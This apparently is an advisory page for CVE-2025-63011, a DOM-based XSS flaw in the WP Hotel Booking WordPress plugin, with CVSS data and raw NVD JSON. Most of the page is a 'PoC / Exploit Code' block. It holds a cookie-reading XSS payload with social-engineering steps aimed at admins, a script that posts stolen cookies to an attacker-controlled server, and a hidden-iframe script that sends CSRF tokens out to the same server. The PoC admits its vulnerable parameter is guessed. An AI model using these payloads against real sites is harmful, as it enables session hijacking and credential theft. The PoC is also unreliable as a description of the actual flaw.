Security Vulnerability Report
中文
CVE-2025-63011 CVSS 5.9 MEDIUM

CVE-2025-63011

Published: 2025-12-09 16:18:07
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress WP Hotel Booking wp-hotel-booking allows DOM-Based XSS.This issue affects WP Hotel Booking: from n/a through <= 2.2.8.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Hotel Booking <= 2.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63011 PoC - DOM-Based XSS in WP Hotel Booking --> <!-- Target: WordPress site with WP Hotel Booking plugin <= 2.2.8 --> <!-- Attack Scenario 1: URL-based XSS payload --> <!-- Replace YOUR_TARGET_URL with the actual URL of the vulnerable site --> <script> // Construct malicious URL with XSS payload var targetUrl = 'https://YOUR_TARGET_URL/wp-admin/admin.php?page=hb_booking'; var xssPayload = '<img src=x onerror="alert(document.cookie)">'; var maliciousUrl = targetUrl + '&search=' + encodeURIComponent(xssPayload); // Display the payload for social engineering console.log('Malicious URL: ' + maliciousUrl); console.log('Send this URL to the WordPress admin'); </script> <!-- Attack Scenario 2: Automated data exfiltration --> <script> // Steal admin cookies and send to attacker-controlled server var stolenData = { cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }; // Send data to attacker's endpoint fetch('https://attacker-controlled-server.com/steal', { method: 'POST', body: JSON.stringify(stolenData), headers: {'Content-Type': 'application/json'} }); </script> <!-- Attack Scenario 3: Session hijacking --> <script> // Create invisible iframe to capture admin actions var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src = window.location.href; document.body.appendChild(iframe); // Monitor iframe content setTimeout(function() { var content = iframe.contentDocument || iframe.contentWindow.document; // Extract sensitive information from iframe content var csrfToken = content.querySelector('[name="_wpnonce"]'); if (csrfToken) { fetch('https://attacker-controlled-server.com/token?token=' + csrfToken.value); } }, 2000); </script> <!-- Notes: --> <!-- 1. This PoC demonstrates the DOM-based XSS vulnerability --> <!-- 2. The actual vulnerable parameter may vary based on plugin version --> <!-- 3. Requires WordPress admin interaction to trigger --> <!-- 4. For authorized security testing only -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63011", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:06.583", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress WP Hotel Booking wp-hotel-booking allows DOM-Based XSS.This issue affects WP Hotel Booking: from n/a through <= 2.2.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-hotel-booking/vulnerability/wordpress-wp-hotel-booking-plugin-2-2-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}